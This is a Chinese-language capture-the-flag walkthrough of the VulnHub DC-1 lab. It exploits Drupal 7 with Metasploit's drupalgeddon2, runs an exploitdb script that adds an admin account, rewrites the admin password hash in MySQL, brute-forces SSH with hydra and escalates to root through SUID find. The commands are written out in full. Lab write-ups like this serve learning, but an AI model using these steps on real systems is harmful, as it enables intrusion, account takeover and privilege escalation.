一、靶機的環境搭配
攻擊機(KALI):192.168.226.129
靶機(DC-1): 192.168.226.131(未知)
靶機地址:https://www.vulnhub.com/entry/dc-1,292/
二、戰前準備
要求:攻擊機和靶機在同一網段下,使用NAT模式
1、找到kali的IP地址,用nmap掃描同一網段找到靶機的IP


一般掃描出來的在中間而129是kali的,所以可以確定的是靶機的地址是192.168.226.131
通過mac地址也能確定
2、IP地址拿到手讓我們kk開放了哪些埠
nmap -T4 -sV -O -A -p 80,445,22,139 192.168.226.131
-T4(速度) -sV(版本掃描和開啟的服務) -O(作業系統) -p-(全部埠)

我們發現80、22、111埠、
80埠打開所以可以訪問網站 22號埠代表可以訪問ssh服務(遠程連接)
3、登錄192.168.226.131
使用Firefox插件Wappalyzer查看到如下網頁資訊
三大PHP CMS網站:Drupal、 Wordpress、Joomla
發現了3個重要資訊 服務器采用的是drupal內容管理系統且版本低,可以作為滲透的方向
由于不知道賬號密碼不建議采用sql注入
4、查看網站目錄
dirb http://192.168.226.131
5、當我們知道他是drupal的時候先去查看robots.txt有什么有用的資訊
robots.txt 互聯網道德協議,約定爬蟲哪些東西不能爬取,但是不能爬取也暴露了哪些就是重要資訊,一般存放在根目錄下


知道了Drupal的版本為7.X后,就可以開始進行漏洞利用了,Drupal 7.X版本有遠程代碼執行漏洞
6、百度獲知drupal7.x的版本漏洞及攻擊方式

三、開始滲透
一、flag1
打開msf 輸入msfconsole、搜索search drupal漏洞
msfconsole 打開msf
search drupal 搜索drupal漏洞

2、選擇2018年的載荷由第二部份的資訊收集得出
查看需要設定的引數,yes的即為需要設定的,其他都設定好了,在這里只用設定RHOSTS
use exploit/unix/webapp/drupal_drupalgeddon2
show options 查看需要設定的引數,yes的即為需要設定的,其他都設定好了,在這里只用設定RHOSTS

3、輸入靶機IP地址,開始攻擊
set RHOSTS 192.168.226.131 靶機的IP
exploit 開始執行

4、取得meterpreter,擁有了部分操控權限,讓我們看看有什么

找到了flag1打開kk
![]()
翻譯為 每個好的CMS都需要一個組態檔——你也是,
二、flag2
drupal的配置文件在網站根目錄下的/site/defaultx下的setting.php檔案中

三、flag3
1、反彈shel的制作
在這里我們找到了3樣東西 flag2、提示:最好不要用暴力破解、資料庫賬號密碼
但是我們發現mysql不能直接使用
![]()
所以我們需要一個互動式shell、進入shell查看netstat -ano

我們查看到 3306號埠只允許本地訪問,而3306是mysql的默認埠看來我們更加得要獲取一個互動式shell了,我們用python做一個反彈shell,如果執行不了先退出shell(ctrl+c) 在重新進入shell執行
shell 啟動shell 執行行命令
python -c 'import pty;pty.spawn("/bin/bash")' 獲取互動式shell,使其可執行MySQL陳述句
mysql -udbuser -pR0ck3t 進入MySQL

開始進入到mysql資料庫里面去

2、查看管理員賬戶
show databases; 顯示所有資料庫
use drupaldb; 選擇當前資料庫為dr庫
show tables; 顯示所以資料表
select * from users; 顯示users表中所有內容,查找管理員賬戶
我們發現了管理員賬戶但是密碼是明文加密
3、修改管理員密碼
我們有兩種方法,一種是增加一個管理員
在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶賬號
首先查看的是Drupal版本,確定Drupal版本為7.24
$ cat /var/www/includes/bootstrap.inc | grep VERSION 查看版本資訊
searchsploit drupal 查看命令
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2 -p admin2 開始增加管理員用戶



方法二、用drupal的加密腳本加密,腳本在根目錄下的scripts
首先退出MySQL,重新進入互動式shell,然后兩段cd回到根目錄,然后獲得hash碼
ctrl+c 退出MySQL
shell 進入shell
python -c 'import pty; pty.spawn("/bin/bash")' 重新取得互動式shell
php scripts/password-hash.sh admin1 后面的是你設定的密碼

重新進入資料庫改寫密碼
mysql -udbuser -pR0ck3t 進入MYSQL
use drupaldb; 進入資料庫
update drupaldb.users set pass="$S$DLIv1o1oUwharU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin";
<arU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin"; 修改密碼
注意pass后面跟你的加密密碼明文,第二段為$后第十二個字開始輸,找這個教程把我找吐了,最后看了半天才找到規律,但是一直不知道原理和句子結構是啥

使用獲取得到的管理員登錄瀏覽器找到flag3

四、flag4
flag3的資訊中提到了passwd和shadow,很明顯就是/etc/passwd和/etc/shadow,還提到了find、perms、-exec,這幾個是提權用的,
先用find找下flag的資訊
find / -name "*flag*" find的命令是查找的意思,在這里查找有關flag的檔案

我們發現一個flag4和th的文本檔案,th在root用戶下面需要提權到root
我們來查看提示的/etc/passwd和/etc/shadow 的內容
cat /etc/passwd

找到了flag4 這個用戶,并且它有/bin/bash權限,所以可以用來提權它
使用find命令查找有特殊權限suid的命令
find / -perm -4000 查找具有SUID權限的檔案,4000是SUID的代號
SUID檔案:給予訪問者這個檔案的臨時權限,如果權限為root的話當訪問者呼叫這個程式時訪問者權限臨時變為root

我們看到find這個命令剛好是SUID檔案,所以我們可以通過find提權(flag3也有提示)
前面nmap掃描的時候發現了 ssh 服務,現在又發現了 flag4 用戶,所以嘗試使用hydra進行密碼的暴力猜解 找到密碼orange
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.226.131 ssh

使用得到用戶名密碼【 flag4/orange】,登錄靶機也可以用kali遠程連接sshflag4@192.168.226.131 我們發現是發現是“$”(普通權限),而不是“#”(root權限),需要使用find命令提權為root


查看找到flag4.txt檔案提示還有一個在根目錄下

五、thefinalflag.txt

由前面知影子檔案打不開所以需要提權
find / -name 233 -exec "/bin/sh" \; 提權
name 指定233檔案也可以touch自己創一個,/bin/sh呼叫shell
whoami 查看權限
cd /root 進入root
ls 列出檔案
cat thefinalflag.txt 查看

四、總結
| flag1 | 根目錄下/var/www | 用msf的2018模塊入侵 |
| flag2 | 根目錄下/site/defaultx | cat查看 |
| flag3 | 網頁content里看到 | 用獲取到賬號密碼登錄 |
| flag4 | /home/flag4 | find / -name "*flag" |
| thefinalflag.txt | /root | find / -name "*flag" |
不足點
1、msf不懂,不知道選取哪個載荷,怎么攻擊
2、思路不夠順暢,經常會卡半天
3、shell腳本構造原理不懂
4、工具使用不熟悉、drpal相關了解太少
最后學到了點個關注
知識點
/etc/passwd 是一個純文本檔案,它存盤用戶帳戶資訊,它包含系統帳戶的串列,為每個帳戶提供一些有用的資訊,如用戶 ID、組 ID、主目錄、shell 等、shadow檔案存盤Linux用戶的密碼資訊,只有root用戶有權限讀取此檔案
SUID 給予訪問者檔案的權限,4000是SUID的代碼,所以可以用find提權
find命令配合-exec選項提權;在執行這條指令必須指定外殼為/bin/sh,經過嘗試/bin/bash等其他外殼拿到的不是root權限,name后跟一個檔案名,可以指定自己創建的 touch 1
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296819.html
標籤:其他

